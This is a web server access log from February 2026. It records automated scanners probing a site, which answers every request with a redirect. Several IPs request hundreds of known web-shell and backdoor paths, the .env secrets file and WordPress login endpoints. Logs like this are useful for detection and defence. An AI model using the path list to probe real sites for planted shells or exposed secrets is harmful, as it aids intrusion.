"Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:25 +0300] "GET /blocks/audio/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:25 +0300] "GET /blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:26 +0300] "GET /themes/finley/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:26 +0300] "GET /themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:26 +0300] "GET /themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:26 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:55:19 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:55:19 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:19 +0300] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:55:20 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:20 +0300] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:55:20 +0300] "GET /.well-known/bosctspi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:20 +0300] "GET /wp-content/uploads/wpr-addons/forms/CasperSecurity.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:55:21 +0300] "GET /.well-known/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:21 +0300] "GET /wp-includes/PHPMailer/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:21 +0300] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:21 +0300] "GET /wp-includes/Requests/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:55:22 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:55:22 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:55:22 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:55:22 +0300] "GET /images/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:55:23 +0300] "GET /images/rest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:23 +0300] "GET /wp-admin/css/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:23 +0300] "GET /wp-admin/images/classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 172.252.31.160 - - [03/Feb/2026:11:43:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 17.22.237.147 - - [03/Feb/2026:11:22:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.22.237.147 - - [03/Feb/2026:11:22:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 64.226.76.250 - - [03/Feb/2026:12:09:27 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 182.43.70.143 - - [03/Feb/2026:11:12:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.70.53.60 - - [03/Feb/2026:11:41:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 139.59.80.64 - - [03/Feb/2026:11:05:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 194.5.82.8 - - [03/Feb/2026:10:58:27 +0300] "GET /js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:27 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:58:27 +0300] "GET /language/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:58:27 +0300] "GET /.well-known/pkivalidation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:27 +0300] "GET /xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 81.29.142.100 - - [03/Feb/2026:12:55:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" 20.121.32.134 - - [03/Feb/2026:13:27:21 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 43.134.141.244 - - [03/Feb/2026:13:34:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 205.209.106.132 - - [03/Feb/2026:14:26:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 43.157.150.69 - - [03/Feb/2026:14:32:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.219.9.9 - - [03/Feb/2026:14:28:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 44.195.201.244 - - [03/Feb/2026:15:14:44 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 192.121.135.97 - - [03/Feb/2026:15:11:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604" 64.89.163.24 - - [03/Feb/2026:15:30:06 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 51.68.107.138 - - [03/Feb/2026:17:26:20 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.107.138 - - [03/Feb/2026:17:26:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 213.202.253.4 - - [03/Feb/2026:17:56:13 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.82.13.200 - - [03/Feb/2026:16:20:59 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; NetBSD x86; en-us) AppleWebKit/666.6+ (KHTML, like Gecko) Chromium/20.0.0000.00 Chrome/20.0.0000.00 Safari/666.6+" 175.6.217.4 - - [03/Feb/2026:18:20:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 98.159.108.144 - - [03/Feb/2026:19:24:26 +0300] "GET /feed/ HTTP/1.1" 301 795 "-" "Mozilla/5.0" 20.211.72.207 - - [03/Feb/2026:19:35:15 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.130.15.147 - - [03/Feb/2026:19:35:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.133.253.253 - - [03/Feb/2026:20:32:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.22.33.15 - - [03/Feb/2026:20:33:01 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 69.63.189.26 - - [03/Feb/2026:22:10:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 20.41.98.199 - - [03/Feb/2026:22:22:05 +0300] "GET /system_core.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:08 +0300] "GET /cwclass.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:11 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:14 +0300] "GET /ck.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:17 +0300] "GET /ffd.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:21 +0300] "GET /anna.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:24 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:27 +0300] "GET /qasu.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:29 +0300] "GET /Gi8.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:32 +0300] "GET /admiin.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:35 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:38 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:41 +0300] "GET /ez.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:45 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:47 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:50 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:54 +0300] "GET /cfile.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:22:57 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:01 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:05 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:06 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:10 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:20 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:24 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:26 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:29 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:33 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:35 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:38 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:40 +0300] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:43 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:46 +0300] "GET /Ova-Simple.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:48 +0300] "GET /lc.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:52 +0300] "GET /hexx.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:54 +0300] "GET /cbrfo.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:56 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:25:59 +0300] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:01 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:04 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:07 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:10 +0300] "GET //xfile25.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:16 +0300] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:19 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:22 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:24 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:20 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:23 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:26 +0300] "GET /wsback.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:29 +0300] "GET /pm.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:32 +0300] "GET /karak.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:34 +0300] "GET /trd.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:37 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:39 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:42 +0300] "GET /i.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:45 +0300] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:48 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:48 +0300] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:51 +0300] "GET /super.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:53 +0300] "GET /aw.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:23:57 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:01 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:03 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:07 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:11 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:14 +0300] "GET /wp-gr.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:16 +0300] "GET /tcp.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:19 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:24:22 +0300] "GET /jlex3.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:09 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:10 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:12 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:13 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:16 +0300] "GET /ss1.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:19 +0300] "GET //goods.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:23 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:26 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:26 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:30 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:30 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:33 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:35 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:39 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:41 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:45 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:48 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:51 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:54 +0300] "GET /blurbs18.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:57 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:00 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:03 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:07 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:08 +0300] "GET /wp-includes/ID3/about.php?p= HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:26 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:28 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:30 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:33 +0300] "GET /thebe.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:35 +0300] "GET /ddd.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:37 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:39 +0300] "GET /f355.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:42 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:44 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:47 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:49 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:50 +0300] "GET /xpwer1.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:52 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:26:55 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:05 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:09 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:12 +0300] "GET /jane.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:15 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:17 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:21 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:24 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:28:27 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:00 +0300] "GET /wp-admin/images/commentv.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:03 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:27:04 +0300] "GET //wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:49 +0300] "GET /temp.php/wp-update.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:53 +0300] "GET /admins.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:57 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:29:59 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:30:06 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:30:09 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:30:10 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:30:13 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:30:15 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.41.98.199 - - [03/Feb/2026:22:30:20 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 